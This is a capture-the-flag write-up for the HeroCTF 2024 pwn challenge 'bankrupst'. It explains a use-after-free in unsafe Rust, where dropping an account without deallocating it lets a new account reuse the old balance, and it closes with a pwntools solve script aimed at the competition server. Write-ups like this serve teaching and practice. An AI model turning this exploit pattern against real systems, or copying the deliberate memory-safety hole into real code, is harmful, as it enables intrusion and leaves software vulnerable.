4 minutes
π¬π§ HeroCTF 2024 - pwn/bankrupst
Table of contents
Note
Writeup for the first pwn
challenge from HeroCTF 2024.
Description
BankRupst is a bank operating in bankruptcy where no laws are applicable.
File information
We’re given the binary and the source code which is written in Rust.
checksec bankrupst; file bankrupst
[*] '/home/conflict/ctfs/heroctf2024/pwn/pwn_bankrupst/bankrupst'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
bankrupst: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, BuildID[sha1]=fcaba4040b2539cfd3c26241d864d3e46727ca82, not stripped
Reading the source code, we can see that every function has the unsafe keyword. It is used to bypass Rustβs safety checks and allows greater “control” over memory, but it can also make your program vulnerable if memory is not managed properly.
The program simulates a simple bank account manager: you can insert & remove your card, deposit & withdraw money, and check your balance.
Looking for a vulnerability
We can see that option 4 is our win
function:
4 => {
if opened {
println!("Account balance: {}", (*account).balance);
if (*account).balance > 1337 {
println!("Congrats! You are now a special member!");
let flag_file = "flag.txt";
match fs::read_to_string(flag_file) {
Ok(flag) => println!("{}", flag),
Err(e) => eprintln!("Error reading flag.txt: {}", e),
}
}
} else {
println!("Enter your BankRupst card!");
}
}
If our accountβs balance is greater than $1337, the program will output the flag, so now we know our goal. We need to figure out how to achieve it.
Let’s start by taking a look at the deposit
function.
unsafe fn deposit(account: *mut BankAccount) {
if (*account).deposits >= 13 {
println!("Deposit limit reached this month.");
return;
}
print!("How much do you want to deposit? ");
io::stdout().flush().unwrap();
let mut amount_input = String::new();
io::stdin().read_line(&mut amount_input).unwrap();
let amount: i32 = amount_input.trim().parse().unwrap();
if amount < 0 {
return;
} else if amount > 100 {
println!("You cannot exceed 100 per deposit.");
return;
} else {
(*account).balance += amount;
(*account).deposits += 1;
}
}
There are two important things:
- Only 13 deposits are allowed.
- The maximum deposit amount is $100.
Obviously, we cannot deposit $1338 to the account; the maximum is going to be $1300.
Let’s try to find a way to work around this limit. We can notice a difference in how the BankAccount
struct is dropped between options 5 and 6:
5 => {
if opened {
(*account).balance=0;
(*account).deposits = 0;
ptr::drop_in_place(account);
opened = false;
println!("BankRupst card removed.");
} else {
println!("You must insert your BankRupst card!");
}
}
6 => {
if opened {
(*account).balance=0;
(*account).deposits = 0;
let layout = Layout::new::<BankAccount>();
dealloc(account as *mut u8, layout);
account = ptr::null_mut();
opened = false;
println!("Thank you for using BankRupst!");
In option 6, the memory chunk is deallocated, and the pointer is nulled.
In option 5, this is not the case. The drop_in_place
function only destroys the struct, but the memory chunk is not deallocated.
This means that if we remove our card and insert it again, our new BankAccount
struct will occupy the previous account’s memory chunk.
Let’s take a look at how a BankAccount
is created:
struct BankAccount {
balance: i32,
deposits: u32,
}
impl BankAccount {
unsafe fn new() -> *mut BankAccount {
let layout = Layout::new::<BankAccount>();
let ptr = alloc(layout) as *mut BankAccount;
if ptr.is_null() {
panic!("Memory allocation failed!");
}
(*ptr).deposits = 0;
ptr
}
As you can see, deposits
is set to 0
.
Exploit Plan (TLDR)
- Insert the card (make an account).
- Make 13 deposits of $100 each.
- Remove the card (drop the struct).
- Insert the card again (reuse the memory chunk).
- Check the balance.
β οΈ This solution works thanks to weird memory behaviour; check the author’s writeup for the intended solution.
Solve Script
#!/usr/bin/python3
from pwn import *
context.update(arch='x86_64')
context.binary = elf = ELF("./bankrupst")
def start():
if args.REMOTE:
r = remote("pwn.heroctf.fr", 6001)
else:
r = process("./bankrupst")
gdb.attach(r)
return r
io = start()
# =============================================================================
# =-=-=- Un jour je serai le meilleur pwner -=-=-=
# =============================================================================
# Insert card
io.sendlineafter(b'option: ', b'1')
# Fill the account to get the amount to 1300
for i in range(13):
io.sendlineafter(b'option: ', b'2')
io.sendlineafter(b'deposit? ', b'100')
# Remove the card to drop the struct
io.sendlineafter(b'option: ', b'5')
# Reinsert the card to make a new struct over it
io.sendlineafter(b'option: ', b'1')
# Flag !
io.sendlineafter(b'option: ', b'4')
print((b"Flag -> Hero" + io.recv().split(b'Hero')[1].split(b'\n')[0]).decode('utf-8'))
Conclusion
Nice challenge exploiting a logic bug and a use-after-free.